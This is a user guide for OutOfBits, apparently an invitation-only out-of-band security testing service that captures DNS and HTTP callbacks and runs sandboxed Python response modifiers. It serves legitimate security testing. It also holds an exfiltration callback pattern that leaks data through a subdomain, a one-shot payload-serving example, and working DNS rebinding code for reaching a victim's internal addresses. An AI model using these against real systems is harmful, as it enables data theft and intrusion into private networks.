User guide
A walkthrough of OutOfBits — what it does, how to use it, what the moving parts mean. For the internals, see the architecture overview.
What is OAST?
Out-of-band application security testing pushes a target application to make a request to an attacker-controlled host. If the target's DNS or HTTP request lands at your listener, you've confirmed the bug — even if the target's response gives you nothing. OutOfBits runs that listener and captures everything that arrives.
Signing in
OutOfBits is invitation-only. An admin must add your email to the allowlist
(/admin/allowlist) before you can sign in.
Sign in with Google; on first login your account is created automatically.
Hosts
Every callback is associated with a single-label host under
o.outofbits.com. You have two options:
- Named host — pick a label (3–24 chars, lowercase + digits + hyphens). For example
chs→chs.o.outofbits.com. Use this for repeatable tests. - Random host — click Generate random host. You get a fresh 8-char host you can throw away. Use this for one-shot exfiltration probes.
Reserved labels (www, api, etc.) are blocked. Hosts you no longer
want can be released; they go back into the pool.
Deeper subdomains (anything.your-host.o.outofbits.com) are still
captured and attributed to the rightmost-known host you own — that's the OAST exfil pattern,
where the target leaks a token in the leftmost label. The TLS wildcard cert only covers
one level of depth, so deeper subdomains are HTTP-only.
Triggering a callback
dig +short A your-host.o.outofbits.com curl http://your-host.o.outofbits.com/probe curl https://your-host.o.outofbits.com/probe # single-label depth curl http://<exfil>.your-host.o.outofbits.com/path
Interactions
The interactions page live-tails everything that hits your hosts. Each row links to a detail page with the full request, response, and per-modifier execution log. Filters at the top let you narrow by protocol, host, source IP, qtype, HTTP method, and date range; the filter set threads through to the live tail and the export links.
The Export links produce NDJSON (one JSON object per line) or CSV, suitable
for piping to jq or loading into a spreadsheet. NDJSON also takes
?include_raw=1 to base64-encode the raw bytes (request/response payloads).
Modifiers
A modifier is a small Python function — handle_http(ctx) or
handle_dns(ctx) — that runs whenever a request lands on its
host. It can mutate the response: change the status code, set headers, write a
body, return a custom DNS answer.
def handle_http(ctx):
if ctx.request.path == "/admin":
ctx.response.status_code = 401
ctx.response.headers["WWW-Authenticate"] = 'Basic realm="x"'
return ctx
Modifier code runs in a sandboxed subprocess with restricted builtins,
blocked imports, no filesystem or network access (kernel-enforced via seccomp + Landlock),
1s CPU / 2s wallclock / 100 MiB memory limits. print() output is captured but
visible only in test mode.
Save-time check. When you save, the platform syntax-checks your code and
then loads the module body in the sandbox to verify handle_http /
handle_dns exists and that nothing at the top level raises. Broken code is
rejected with a line number before it can ever run on live traffic.
Each modifier has a built-in Test button. Pick a captured interaction; the sandbox replays your code against it and shows a before/after diff. Read-only — doesn't affect live traffic.
Every save snapshots the code into modifier_versions. The
history link on the editor page lists every version with timestamps and lets you
restore an earlier one.
Delete from the row on /modifiers. That removes the modifier and its
version history; pipeline steps that reference it are removed too. Past chain_executions
log entries are kept (modifier_id set to NULL) so the interaction history stays intact.
Stateful modifiers
Modifiers are stateless by default — every invocation runs in a fresh subprocess and forgets everything when it ends. Two opt-in handles let a modifier persist a small JSON blob across invocations:
ctx.state— private to one modifier. One row per modifier. Capped at 16 KB. Use it for counters, "fire once" toggles, per-source-IP tracking.ctx.shared— shared across every modifier you own. One row per user. Capped at 64 KB. Use it when an HTTP modifier needs to hand a captured value to a DNS modifier on a sibling host (or vice-versa).
Both are off by default. Toggle them on the modifier edit page in the
Persistent state panel. ctx.state can be seeded with an
initial state JSON object (used on first invocation and after Clear state).
ctx.shared always starts as {}.
Both behave like a Python dict and also support attribute access:
# read
ctx.state["k"] # KeyError if missing
ctx.state.k # AttributeError if missing
ctx.state.get("k", 0) # safe default
"k" in ctx.state
# write
ctx.state["k"] = v
ctx.state.k = v
ctx.state.setdefault("seen", {})
ctx.state.update({"a": 1})
ctx.state.pop("k", None)
del ctx.state["k"]
# iterate
for k in ctx.state: ...
ctx.state.keys() / .values() / .items()
len(ctx.state)
Values must be JSON-serializable: numbers, strings, bools, None, lists,
dicts. Bytes, sets, and datetimes will fail to round-trip. Dunder access
(ctx.state.__class__, etc.) is rejected by the AST allowlist — stick to
the dict surface.
Failure semantics. The state row is only written back on a
successful run. A raise, a wallclock timeout, or output that exceeds the cap
leaves the prior row untouched — your modifier can't half-commit corrupted state.
Concurrent invocations on the same modifier are serialized (SELECT … FOR
UPDATE), so a counter increments cleanly even under parallel traffic.
Test mode never reads or writes the persisted rows. The test form
has separate "Test ctx.state" and "Test ctx.shared"
textareas so you can rehearse against any starting state without polluting prod.
Clear buttons on the editor page reset the persisted rows; clearing shared state
affects every one of your modifiers that opted into ctx.shared.
Inspecting live state. The Persistent state panel on the
editor page shows the current persisted rows for both ctx.state and
ctx.shared, expanded by default. Each block has a small ↻ refresh
link that re-fetches just that block via HTMX, so you can watch a counter tick after
each test run or live request without losing your editor contents.
Fire-once example — serve one payload, then refuse:
def handle_http(ctx):
if ctx.state.get("fired"):
ctx.response.status_code = 410
ctx.response.body = "already served"
return ctx
ctx.state["fired"] = True
ctx.response.status_code = 200
ctx.response.headers["Content-Type"] = "text/javascript"
ctx.response.body = "/* payload here */"
return ctx
For a fully worked rebinding example with diagram and dig output, see Patterns › DNS rebinding.
Patterns
DNS rebinding
Serve a different A record every time the same name is resolved. The classic use
is bypassing browser same-origin: a victim's JavaScript fetches the host once
(and gets a benign IP), then re-fetches and gets a second IP pointing somewhere
the attacker actually wants — often an internal address the browser would
otherwise refuse to talk to. Sending TTL 0 is what makes this work
in practice: caching resolvers (and the browser's stub resolver) won't reuse
the prior answer, so each request re-enters our DNS listener and the modifier
advances its counter.
client recursive resolver our DNS listener / sandbox modifier_state
| | | |
| dig rebind.<label>... A | | |
|---> | | |
| | NS lookup & query -------> | |
| | | attribute on rightmost label |
| | | SELECT ... FOR UPDATE ----> |
| | | | -> {} (first run)
| | | run handle_dns(ctx): |
| | | count = 0 + 1 = 1 |
| | | ip = "127.0.0.1" |
| | | UPSERT ------------------> |
| | | | -> {"count": 1}
| | | answer A 127.0.0.1 ttl 0 |
| | <------------------------ | |
| A 127.0.0.1 ttl 0 <------ | | |
| | | |
| dig rebind.<label>... A (no resolver cache — ttl was 0) |
|---> | | |
| | NS lookup & query -------> | (same path) |
| | | count = 1 + 1 = 2 |
| | | ip = "127.0.0.2" |
| | | | -> {"count": 2}
| A 127.0.0.2 ttl 0 <------ | | |
The modifier itself is small. Toggle Persist private state on the edit
page so ctx.state is materialized; everything else is plain Python:
def handle_dns(ctx):
if ctx.request.qname.startswith("rebind.") and ctx.request.qtype == "A":
count = ctx.state.get("count", 0) + 1 # safe default on the first run
ctx.state["count"] = count
data = "127.0.0.2" if count % 2 == 0 else "127.0.0.1"
ctx.response.answers = [{
"name": ctx.request.qname,
"type": "A",
"ttl": 0,
"data": data,
}]
return ctx
Smoke-test from any resolver that talks to us directly:
$ for i in 1 2 3 4; do dig +short @<our-ip> rebind.<label>.o.outofbits.com A; done 127.0.0.1 127.0.0.2 127.0.0.1 127.0.0.2
A few subtleties worth keeping in mind:
- TTL
0is what makes rebinding work. Most public resolvers honor it (they may impose their own minimum, but won't cache far past it). With a non-zero TTL the browser's stub resolver and upstream caches reuse the first answer and the second IP never reaches the client. - The
startswith("rebind.")guard means other queries to the same host (foo.<label>...) fall through to the default zone answer. Without it, the modifier rewrites every name under the host. - State is persisted only on success. If the sandbox raises
or hits the wallclock limit,
modifier_stateisn't touched, so a buggy run can't desync the counter from what was actually served. Concurrent queries are serialized by the row lock. - Resetting — the Clear private state button
on the edit page deletes the row; the next run reseeds from the modifier's
initial state JSON (default
{}, which is why the.get("count", 0)default in the code matters). - Live tail — the Current state panel on the edit page shows the persisted row, with a ↻ refresh link so you can watch the counter advance after each dig without losing your editor contents.
Pipelines
Every (host, protocol) has one pipeline — an ordered list
of modifier steps. Each step runs in its own sandbox; the output ctx of one
step is the input of the next. Manage steps (reorder, add, remove) on each
host's detail page; the same page has the pipeline-level
enable toggle and on-error policy.
The on-error policy controls what happens when a step throws or times out:
continue— log the error, advance with the last good ctx.stop— terminate the pipeline, return the last good ctx.fail_closed— replace the response with a hard 500 (HTTP) or SERVFAIL (DNS).
A modifier can short-circuit the rest of the pipeline by setting
ctx.control.continue_chain = False. A disabled pipeline doesn't run at
all; an empty pipeline (no steps) is a no-op (you'll see
modifier_status: no_steps in the interaction log).
The host page also has a "test pipeline" link that replays the pipeline against any
captured interaction, with a per-stage diff. Past chain_executions log
entries persist when steps are removed, with the modifier reference set to NULL.
API tokens
Mint personal bearer tokens at /account/tokens. Pick a scope:
read— only GET / HEAD / OPTIONS work. Good for fetch-only scripts.write— full powers, same as your web session.
curl -H "Authorization: Bearer oob_…" \
https://outofbits.com/api/interactions
Every UI action has a JSON twin under /api/...: hosts (claim, generate,
release), modifiers (CRUD, versions, restore, test), pipelines (steps, move, test),
tokens (mint, revoke), and admin endpoints (allowlist, users, audit). Full reference
is at /api.
Privacy
Toggle Redact sensitive headers at /account/tokens
to scrub Authorization, Proxy-Authorization, and
Cookie from stored requests (modifiers still receive the raw values, only the
persisted row is redacted).
Retention & backups
Captured interactions, chain executions, and rate-limit ticks are deleted after
RETENTION_DAYS (default 30) by a daily timer. Audit events are kept long-term.
A weekly pg_dump is written to the local backup directory.
What if it doesn't fire?
- Did the request reach the listener? Check /interactions.
If the row's there but
modifier_statusis empty, no pipeline matched. - Is the pipeline enabled? Check on the host page.
- Does the pipeline have steps? An empty pipeline shows
no_steps. - Is the modifier scoped to the right (host, protocol)? Modifiers are per-host — a modifier on host A won't fire for host B.
- Did the modifier raise? Open the interaction detail page for the per-stage error log.